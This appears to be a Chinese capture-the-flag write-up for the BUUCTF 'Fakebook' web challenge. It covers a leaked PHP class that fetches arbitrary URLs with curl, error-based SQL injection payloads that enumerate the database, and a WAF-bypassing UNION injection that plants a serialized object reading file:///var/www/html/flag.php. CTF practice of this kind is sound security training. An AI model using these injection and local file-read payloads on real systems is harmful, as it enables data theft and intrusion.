BUUCTF web 网鼎杯2018

0x01 Fakebook

 join可以加入一个账号，login则是登录

 登录之后，看到这个页面，下面的blog框是一个内嵌页面

 查看页面的robots.txt协议，能得到user.php的备份文件，可以看到一个UserInfo的类。

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 再次测试，发现url中no存在报错注入，可以通过注入得到数据库相关信息

 通过构造报错信息注入，得到数据库信息

?no=1%20and%20updatexml(1,concat(%27^%27,(select%20database()),%27^%27),1)#  
#数据库：fakebook

?no=1%20and%20updatexml(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27),%27^%27),1)%20--+
# 表名：users

?no=1%20and%20updatexml(1,concat(%27^%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27fakebook%27%20and%20table_name=%27users%27),%27^%27),1)%20--+
# 字段名：no,username,passwd,data

 查找data字段

1%20and%20updatexml(1,concat(%27^%27,substr((select%20data%20from%20users),1,30),%27^%27),1)%20--+
# O:8:"UserInfo":3:{s:4:"name";s:3:"qin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

 data字段是反序列化存储的信息，联系到blog是个嵌入的页面，则data字段序列化之后的url就是blog的url。
 通过扫描目录，还可以得到里面有一个flag.php文件，则可以通过php伪协议读取flag.php中的内容。
构造payload，由于存在拦截union select的waf，在中间通过注释符来绕过，payload如下：

?no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"qin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users%20--+
# data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tmMjg5Mjk5Mi0yNDQ2LTQzN2EtOGE4ZC1iZjY0OTYyZjZkNDN9IjsNCmV4aXQoMCk7DQo=

 解base64得到flag。

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